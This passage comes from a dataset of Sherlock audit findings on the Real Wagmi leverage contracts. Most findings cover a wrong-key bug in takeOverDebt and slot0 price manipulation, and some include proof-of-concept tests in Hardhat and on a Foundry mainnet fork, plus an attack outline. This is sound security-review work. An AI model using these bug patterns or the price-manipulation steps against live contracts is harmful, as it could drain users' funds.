loansInfo[borrowingKey]; //@audit old borrowing key !!\n // Iterate through the sourceLoans array\n for (uint256 i; i < sourceLoans.length; ) {\n // Get the current loan from the sourceLoans array\n LoanInfo memory loan = sourceLoans[i];\n // Get the storage reference to the tokenIdLoansKeys array for the loan's token ID\n bytes32[] storage tokenIdLoansKeys = tokenIdToBorrowingKeys[loan.tokenId];\n // Conditionally add or push the borrowing key to the tokenIdLoansKeys array based on the 'update' flag\n update\n ? tokenIdLoansKeys.addKeyIfNotExists(borrowingKey)\n : tokenIdLoansKeys.push(borrowingKey);\n // Push the current loan to the loans array\n loans.push(loan); //@audit !!\n unchecked {\n ++i;\n }\n```\n\n\n## Impact\nThe borrower who takes over the debt can lose [his collateral](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L451).\n## Code Snippet\nWagmiLeverageTests.ts\n\n```ts\nit(\"Test takeOverDebt\", async () => {\n snapshot_global.restore();\n\n let debt: LiquidityBorrowingManager.BorrowingInfoExtStructOutput = (\n await borrowingManager.getBorrowerDebtsInfo(bob.address)\n )[0];\n expect(debt.collateralBalance).to.be.gte(0);\n let collateralDebt = debt.collateralBalance.div(COLLATERAL_BALANCE_PRECISION);\n await expect(borrowingManager.connect(alice).takeOverDebt(debt.key, collateralDebt)).to.be.reverted; // forbidden\n await time.increase(debt.estimatedLifeTime.toNumber() + 10);\n debt = (await borrowingManager.getBorrowerDebtsInfo(bob.address))[0];\n expect(debt.collateralBalance).to.be.lt(0);\n collateralDebt = debt.collateralBalance.abs().div(COLLATERAL_BALANCE_PRECISION).add(1);\n await expect(borrowingManager.connect(alice).takeOverDebt(debt.key, collateralDebt)).to.be.reverted; //collateralAmt is not enough\n\n await borrowingManager.connect(alice).takeOverDebt(debt.key, collateralDebt.add(5));\n\n console.log(await borrowingManager.getBorrowerDebtsInfo(alice.address));\n\n console.log(\"alice key after takeover :\", await borrowingManager.userBorrowingKeys(alice.address, 0));\n\n const borrowingKey = await borrowingManager.userBorrowingKeys(alice.address, 0);\n\n const deadline1 = (await time.latest()) + 60;\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n let params1 = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n\n await expect(borrowingManager.connect(alice).repay(params1, deadline1)).to.be.reverted;\n });\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nUse the [new borrowing key](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L433) instead of the old one.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/143.md"}} +{"title":"The takeOverDebt uses the wrong borrowingKey","severity":"major","body":"Festive Daffodil Grasshopper\n\nhigh\n\n# The takeOverDebt uses the wrong borrowingKey\n## Summary\n\nThe takeOverDebt should remove the old borrowingKey and add a new borrowingKey, but the code implementation is wrong and the added borrowingKey is still old.\n\n## Vulnerability Detail\n\n```solidity\n // Retrieve the old loans associated with the borrowing key and remove them from storage\n LoanInfo[] memory oldLoans = loansInfo[borrowingKey];\n _removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);\n // Initialize a new borrowing using the same saleToken, holdToken\n (\n uint256 feesDebt,\n bytes32 newBorrowingKey,\n BorrowingInfo storage newBorrowing\n ) = _initOrUpdateBorrowing(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken,\n accLoanRatePerSeconds\n );\n // Add the new borrowing key and old loans to the newBorrowing\n // @audit using the wrong borrowingKey\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\n\n- The wrong borrowingKey caused the new user to use the loanInfo corresponding to the previous user's borrowingKey, causing confusion in the internal accounting system.\n- When the user borrows again, _initOrUpdateBorrowing will consider that is an init state, and a new state will be created based on newBorrowingKey instead of updating the borrowingKey.\n\n## Impact\n\nWrong borrowingKey caused confusion in the internal accounting system and affected user funds\n\n## Code Snippet\n\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nuse newBorrowingKey instead of borrowingKey","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/124.md"}} +{"title":"`takeOverDebt` is not setting the new borrowing for the new borrowe/trader, resulting him paying funds without getting anything in return","severity":"major","body":"Steep Boysenberry Grasshopper\n\nhigh\n\n# `takeOverDebt` is not setting the new borrowing for the new borrowe/trader, resulting him paying funds without getting anything in return\n## Summary\n\nWe have 2 users Bob and Alice, Bob borrows a borrowing, a borroing key is computed which is a result of `Keys.computeBorrowingKey(msg.sender, saleToken, holdToken)`. This key gets saved in `userBorrowingKeys(Bob)`. Bob's borrowing is now liquidatable, for whatever reason, Alice decides to take over Bob's debt, she calls `takeOverDebt` with the key of Bob's borrowing and the needed `collateralAmt` to take over the debt. The `takeOverDebt` function calculates the new borrowing and removed the old borrowing correctly, but fails to set it the new borrowing for alice as it is setting `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);` instead of `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);`, this results `userBorrowingKeys(alice)` to be missing the new borrowing key, and `borrowingsInfo(newBorrowingKey)` to have `borrower` set to `address(0)` instead of `alice`. This results in Alice paying funds without getting anything in return.\n\n## Vulnerability Detail\n\nAdding the `borrowing` instead of the `newBorrowing` _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans); instead of _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);\n\n## Impact\n\nThe person who pays to `takeOverDebt` will pay money however, he will get nothing in return.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n\n```solidity\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);` instead of `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/073.md"}} +{"title":"In `takeOverDebt`, wrong parameter `borrowingKey` is used to call `_addKeysAndLoansInfo`","severity":"major","body":"Careful Seafoam Bat\n\nhigh\n\n# In `takeOverDebt`, wrong parameter `borrowingKey` is used to call `_addKeysAndLoansInfo`\n## Summary\n\nIn `takeOverDebt`, wrong parameter `borrowingKey` is used to call `_addKeysAndLoansInfo`\n\n## Vulnerability Detail\n\nThe original purpose of the function `takeOverDebt` is taking over debt by transferring ownership of a borrowing to the current caller. So it uses `_addKeysAndLoansInfo` to add the oldLoans to the new caller. However, it uses wrong parameter `borrowingKey` which is the old borrowingkey.\n\n## Impact\n\nNew caller loses the loans.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441\n\n```solidity\n // Add the new borrowing key and old loans to the newBorrowing\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nReplace `borrowingKey` with `newBorrowingKey`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/064.md"}} +{"title":"old borrowing key is used instead of `newBorrowingKey` when adding old loans to the newBorrowing in LiquidityBorrowingManager.takeOverDebt()","severity":"major","body":"Ancient Daffodil Caribou\n\nmedium\n\n# old borrowing key is used instead of `newBorrowingKey` when adding old loans to the newBorrowing in LiquidityBorrowingManager.takeOverDebt()\n## Summary\nwhen `_addKeysAndLoansInfo()` is called within LiquidityBorrowingManager.takeOverDebt(), old Borrowing Key is used and not `newBorrowingKey` see [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L440-L441)\n\n\n## Vulnerability Detail\nThe old borrowing key credentials are deleted in `_removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);` see [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L429)\n\nAnd a new borrowing key is created with the holdToken, saleToken, and the address of the user who wants to take over the borrowing in the `_initOrUpdateBorrowing()`. see [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L430-L439)\n\n\nnow the old borrowing key whose credentials are already deleted is used to update the old loans in `_addKeysAndLoansInfo()` instead of the `newBorrowingKey` generated in `_initOrUpdateBorrowing()` see [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L440-L441)\n\n## Impact\nwrong borrowing Key is used (i.e the old borrowing key) when adding old loans to `newBorrowing` \n\nTherefore the wrong borrowing key (i.e the old borrowing key) will be added as borrowing key for tokenId of old Loans in `tokenIdToBorrowingKeys` in _addKeysAndLoansInfo()\n\n(i.e when the bug of `update bool` being false, is corrected, devs should understand :))\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L440-L441\n## Tool used\n\nManual Review\n\n## Recommendation\nuse newBorrowingKey when calling `_addKeysAndLoansInfo()` instead of old borrowing key.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/053-best.md"}} +{"title":"takeOverDebt function assigns loans and adds keys to the previous borrowing key, not the new one","severity":"major","body":"Dandy Taupe Barracuda\n\nhigh\n\n# takeOverDebt function assigns loans and adds keys to the previous borrowing key, not the new one\n## Summary\nA main goal of the `LiquidityBorrowingManager.takeOverDebt()` function is to transfer ownership of the debt to a function caller if the caller pays collateral for the undercollateralized position. The position's transfer happens at `_addKeysAndLoansInfo()` function. However, the argument for the function is not the `newBorrowingKey`, but the old one from which the position should be transferred from.\n## Vulnerability Detail\n`takeOverDebt()` function takes a `borrowingKey` as its input which is then used to remove the borrowing key from the storage and to delete all information associated with it in a corresponding call to the `_removeKeysAndClearStorage()` function. Then, an initialization of a borrowing happens at the `_initOrUpdateBorrowing()` function, which returns a `newBorrowingKey` to which the ownership of a position should be assigned. However, the `_addKeysAndLoansInfo()` function does not use it.\n```solidity\n_removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);\n        // Initialize a new borrowing using the same saleToken, holdToken\n        (\n            uint256 feesDebt,\n            bytes32 newBorrowingKey,\n            BorrowingInfo storage newBorrowing\n        ) = _initOrUpdateBorrowing(\n                oldBorrowing.saleToken,\n                oldBorrowing.holdToken,\n                accLoanRatePerSeconds\n            );\n        // Add the new borrowing key and old loans to the newBorrowing\n        _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans); //@audit\n```\nSince borrowing keys are hashes of msg.sender's address and tokens, the ownership stays with the previous owner. This means that the caller of the function loses his collateral by repaying the debt for the loan which should be transferred to him but which instead stays with the previous owner.\n## Impact\nLoss of funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L429-L441\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L921\n## Tool used\n\nManual Review\n\n## Recommendation\nPass the `newBorrowingKey` as an argument to `_addKeysAndLoansInfo()`\n```solidity\n_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/038.md"}} +{"title":"Whenever a user wants to `takeOverDebt` will never work","severity":"major","body":"Dry Watermelon Wolverine\n\nhigh\n\n# Whenever a user wants to `takeOverDebt` will never work\n## Summary\nIn `LiquidityBorrowingManager.sol` a user can `takeOverDebt` for a specific borrower by providing the borrower's `borrowingKey`: \n\n```solidity\nfunction takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt)\n```\n\n## Vulnerability Detail\n\nIn order for a user to successfully take over a borrower's debt, he has to provide : \n\n```solidity\n(collateralAmt <= minPayment).revertError(\n ErrLib.ErrorCode.COLLATERAL_AMOUNT_IS_NOT_ENOUGH\n );\n```\n\n`collateralAmt` is the amount of collateral to be provided by the new borrower.\n`minPayment` is the minimum payment required based on the collateral balance for the old borrower.\n\nThen loans and keys are removed from the old borrower\n\n```solidity\n_removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);\n```\n\nAfter that the\n ```solidity\n(uint256 feesDebt, bytes32 newBorrowingKey, BorrowingInfo storage newBorrowing) = _initOrUpdateBorrowing(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken,\n accLoanRatePerSeconds\n );\n```\nis called which returns the msg.sender's (new borrower) `bytes32 newBorrowingKey` then:\n\n```solidity\n// Add the new borrowing key and old loans to the newBorrowing\n_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n```\n\nThe problem is that the old loans and the initialization of the borrower are added again to the **OLD** borrower because `borrowingKey` is used in `_addKeysAndLoansInfo` rather than the new borrower's `newBorrowingKey`.\n\n\n## Impact\n\nUser can't take over another borrower's debt.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395-L453\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L915-L956\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n**--** `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);`\n**++** `_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/017.md"}} +{"title":"LiquidityBorrowingManager.sol#takeOverDebt() - wrong key used when pushing loans to the new borrow","severity":"major","body":"Quiet Sage Wren\n\nhigh\n\n# LiquidityBorrowingManager.sol#takeOverDebt() - wrong key used when pushing loans to the new borrow\n## Summary\nThe ``takeOverDebt()`` function is supposed, upon met criteria, to transfer a borrowing to a different owner, by creating a new borrowing key for the mapping and passing the old loans to the new borrow struct. There is a critical flaw in this functionality, that would not allow for correct overtaking.\n\n## Vulnerability Detail\nThe function updates the old borrow's fees up to the moment of taking over and then generates a new key and a new borrow struct. However, when the function ``_addKeysAndLoansInfo`` is invoked to transfer the old loans to the new key, instead of the ``newBorrowingKey``, the old ``borrowingKey`` variable is passed instead.\nThis would lead to old loans being pushed again in the array for the old key, potentially reverting on exceeding the maximum allowed loans per positions.\nTaking over would not be possible in such cases.\n\n## Impact\nImpossible to take over loans, which is a core functionality of the protocol\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L431-L441\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPass the correct value to the function as such:\n``_addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans)``","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//002-H/011.md"}} +{"title":"[H-03] Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation.","severity":"major","body":"Calm Arctic Tiger\n\nhigh\n\n# [H-03] Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation.\n## Summary\n\nUsage of slot0 is extremely easy to manipulate.\n\n## Vulnerability Detail\n\nIn [LiquidityManager#_getCurrentSqrtPriceX96](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331C3-L343C1) `IUniswapV3Pool(poolAddress).slot0()` is used to calculate `sqrtPriceLimitX96`.\n\n## Impact\n\n`IUniswapV3Pool(poolAddress).slot0()` is used to calculate `sqrtPriceLimitX96` in `LiquidityManager#_getCurrentSqrtPriceX96` which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks; which can cause the loss of funds when using `sqrtPriceLimitX96` for swaps.\n\nThis can cause issues for regular users and can be used by malicious users to give less collateral/debt during borrow or repay.\n\n1. Alice manipulates the `sqrtPriceLimitX96` and interacts with the protocol by calling `Borrow`, `repay` or `takeOverDebt`.\n2. She can either pay less collateral and grab a position during Borrow\n3. Or when calling `repay` or `takeOverDebt` she can provide less debt and grab the position or the liquidation bonus.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331C3-L343C1\n\n```solidity\n function _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n }\n```\nThere was an issue similar to this in the previous [Real-Wagmi](https://solodit.xyz/issues/h-3-usage-of-slot0-is-extremely-easy-to-manipulate-sherlock-none-realwagmi-git) contest.\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the `TWAP` function to get the value of sqrtPriceX96 or for any calculation.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/191.md"}} +{"title":"[H-02] SqrtPriceX96 is calculation is not done correctly which can lead to loss of funds.","severity":"major","body":"Calm Arctic Tiger\n\nhigh\n\n# [H-02] SqrtPriceX96 is calculation is not done correctly which can lead to loss of funds.\n## Summary\n\n`SqrtPriceX96` is calculation is done wrongly which can lead to loss of funds making `repay` function unusable in non-emergency cases.\n\n## Vulnerability Detail\n\nWhile calling [repay](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function in [LiquidityBorrowingManager.sol](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol) during non-emergency cases the function calls [LiquidityManager#_restoreLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223C3-L228C17) which calls [LiquidityManager#_getCurrentSqrtPriceX96](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331C1-L342C6) which gives the value of SqrtPriceX96 , but this value can't be used as it is. Our protocol does this and this makes the [_increaseLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L386C3-L392C16) return totally wrong values for `amount1` and 'amount0'. This makes the contract to make wrong calculations later on or totally revert the `repay` function most of the times.\n \n## Impact\n\nHere is an end-end coded PoC that shows how the wrong value of `SqrtPriceX96 ` that ultimately reverts the `repay` function everytime it is called in non-emergency conditions.\n\n1. Create a Makefile and add your mainnet rpc and a recent block number.\n```Makefile\ninclude .env\n\ntest_func:\n\t@forge test --fork-url ${MAINNET_RPC} --fork-block-number ${MAINNET_BLOCK} -vvvv --ffi --mt ${P}\n```\n\n2. Copy paste this code and run make test_func P=test_RepayRevert\n```solidity\n\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport { IUniswapV3Pool } from \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\";\nimport { LiquidityBorrowingManager } from \"contracts/LiquidityBorrowingManager.sol\";\nimport { AggregatorMock } from \"contracts/mock/AggregatorMock.sol\";\nimport { HelperContract } from \"../testsHelpers/HelperContract.sol\";\nimport { INonfungiblePositionManager } from \"contracts/interfaces/INonfungiblePositionManager.sol\";\n\nimport { ApproveSwapAndPay } from \"contracts/abstract/ApproveSwapAndPay.sol\";\n\nimport { LiquidityManager } from \"contracts/abstract/LiquidityManager.sol\";\n\nimport { TickMath } from \"../../contracts/vendor0.8/uniswap/TickMath.sol\";\n\nimport { console } from \"forge-std/console.sol\";\n\ncontract ContractTest is Test, HelperContract {\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV3Pool WBTC_WETH_500_POOL = IUniswapV3Pool(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0);\n IUniswapV3Pool WETH_USDT_500_POOL = IUniswapV3Pool(0x11b815efB8f581194ae79006d24E0d814B7697F6);\n address constant NONFUNGIBLE_POSITION_MANAGER_ADDRESS =\n 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;\n /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant UNISWAP_V3_QUOTER_V2 = 0x61fFE014bA17989E743c5F6cB21bF9697530B21e;\n bytes32 constant UNISWAP_V3_POOL_INIT_CODE_HASH =\n 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;\n /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant alice = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;\n address constant bob = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC;\n AggregatorMock aggregatorMock;\n LiquidityBorrowingManager borrowingManager;\n\n uint256 tokenId;\n\n uint256 deadline = block.timestamp + 15;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_329_500);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(WBTC_WETH_500_POOL), \"WBTC_WETH_500_POOL\");\n vm.label(address(WETH_USDT_500_POOL), \"WETH_USDT_500_POOL\");\n vm.label(address(this), \"ContractTest\");\n aggregatorMock = new AggregatorMock(UNISWAP_V3_QUOTER_V2);\n borrowingManager = new LiquidityBorrowingManager(\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n UNISWAP_V3_QUOTER_V2,\n UNISWAP_V3_FACTORY,\n UNISWAP_V3_POOL_INIT_CODE_HASH\n );\n vm.label(address(borrowingManager), \"LiquidityBorrowingManager\");\n vm.label(address(aggregatorMock), \"AggregatorMock\");\n deal(address(USDT), address(this), 1_000_000_000e6);\n deal(address(WBTC), address(this), 10e8);\n deal(address(WETH), address(this), 100e18);\n deal(address(USDT), alice, 1_000_000_000_000_000_000_000_000e6);\n deal(address(WBTC), alice, 1000e8);\n deal(address(WETH), alice, 100_000_000_000_000_000e18);\n\n deal(address(USDT), bob, 1_000_000_000e6);\n deal(address(WBTC), bob, 1000e8);\n deal(address(WETH), bob, 10_000e18);\n //deal eth to alice\n deal(alice, 10_000 ether);\n deal(bob, 1000 ether);\n\n // deal(address(USDT), address(borrowingManager), 1000000000e6);\n // deal(address(WBTC), address(borrowingManager), 10e8);\n // deal(address(WETH), address(borrowingManager), 100e18);\n\n _maxApproveIfNecessary(address(WBTC), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(WETH), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(USDT), address(borrowingManager), type(uint256).max);\n\n vm.startPrank(alice);\n _maxApproveIfNecessary(address(WBTC), address(borrowingManager), type(uint256).max);\n // _maxApproveIfNecessary(address(WETH), address(borrowingManager), type(uint256).max);\n IERC20(address(WETH)).approve(address(borrowingManager), type(uint256).max);\n IERC20(address(WBTC)).approve(address(borrowingManager), type(uint256).max);\n IERC20(address(WETH)).approve(\n address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max\n );\n IERC20(address(WBTC)).approve(\n address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max\n );\n _maxApproveIfNecessary(address(USDT), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(WBTC), address(this), type(uint256).max);\n _maxApproveIfNecessary(address(WETH), address(this), type(uint256).max);\n _maxApproveIfNecessary(address(USDT), address(this), type(uint256).max);\n\n // _maxApproveIfNecessary(\n // address(WBTC),\n // NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n // type(uint256).max\n // );\n // _maxApproveIfNecessary(\n // address(WETH),\n // NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n // type(uint256).max\n // );\n _maxApproveIfNecessary(\n address(USDT), NONFUNGIBLE_POSITION_MANAGER_ADDRESS, type(uint256).max\n );\n\n (tokenId,,,) = mintPositionAndApprove();\n vm.stopPrank();\n\n vm.startPrank(bob);\n IERC20(address(WETH)).approve(address(borrowingManager), type(uint256).max);\n vm.stopPrank();\n\n vm.startPrank(address(borrowingManager));\n IERC20(address(WETH)).approve(\n address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max\n );\n IERC20(address(WBTC)).approve(\n address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max\n );\n vm.stopPrank();\n }\n\n function test_SetUpState() public {\n assertEq(WBTC_WETH_500_POOL.token0(), address(WBTC));\n assertEq(WBTC_WETH_500_POOL.token1(), address(WETH));\n assertEq(WETH_USDT_500_POOL.token0(), address(WETH));\n assertEq(WETH_USDT_500_POOL.token1(), address(USDT));\n assertEq(USDT.balanceOf(address(this)), 1_000_000_000e6);\n assertEq(WBTC.balanceOf(address(this)), 10e8);\n assertEq(WETH.balanceOf(address(this)), 100e18);\n assertEq(borrowingManager.owner(), address(this));\n assertEq(borrowingManager.dailyRateOperator(), address(this));\n assertEq(\n borrowingManager.computePoolAddress(address(USDT), address(WETH), 500),\n address(WETH_USDT_500_POOL)\n );\n assertEq(\n borrowingManager.computePoolAddress(address(WBTC), address(WETH), 500),\n address(WBTC_WETH_500_POOL)\n );\n assertEq(\n address(borrowingManager.underlyingPositionManager()),\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS\n );\n }\n\n\n LiquidityManager.LoanInfo[] loans;\n\n function createBorrowParams(uint256 _tokenId)\n public\n returns (LiquidityBorrowingManager.BorrowParams memory borrow)\n {\n bytes memory swapData = \"\";\n\n LiquidityManager.LoanInfo memory loanInfo = LiquidityManager.LoanInfo({\n liquidity: 100,\n tokenId: _tokenId //5500 = 1319241402 500 = 119931036 10 = 2398620\n });\n\n loans.push(loanInfo);\n\n LiquidityManager.LoanInfo[] memory loanInfoArrayMemory = loans;\n\n borrow = LiquidityBorrowingManager.BorrowParams({\n internalSwapPoolfee: 500,\n saleToken: address(WBTC), //token1 - WETH\n holdToken: address(WETH), //token0 - WBTC\n minHoldTokenOut: 1,\n maxCollateral: 10e8,\n externalSwap: ApproveSwapAndPay.SwapParams({\n swapTarget: address(0),\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData\n }),\n loans: loanInfoArrayMemory\n });\n }\n\n function createRepayParams(bytes32 _borrowingKey)\n public\n pure\n returns (LiquidityBorrowingManager.RepayParams memory repay)\n {\n bytes memory swapData = \"\";\n\n repay = LiquidityBorrowingManager.RepayParams({\n isEmergency: false,\n internalSwapPoolfee: 0, //token1 - WETH\n externalSwap: ApproveSwapAndPay.SwapParams({\n swapTarget: address(0),\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData\n }),\n 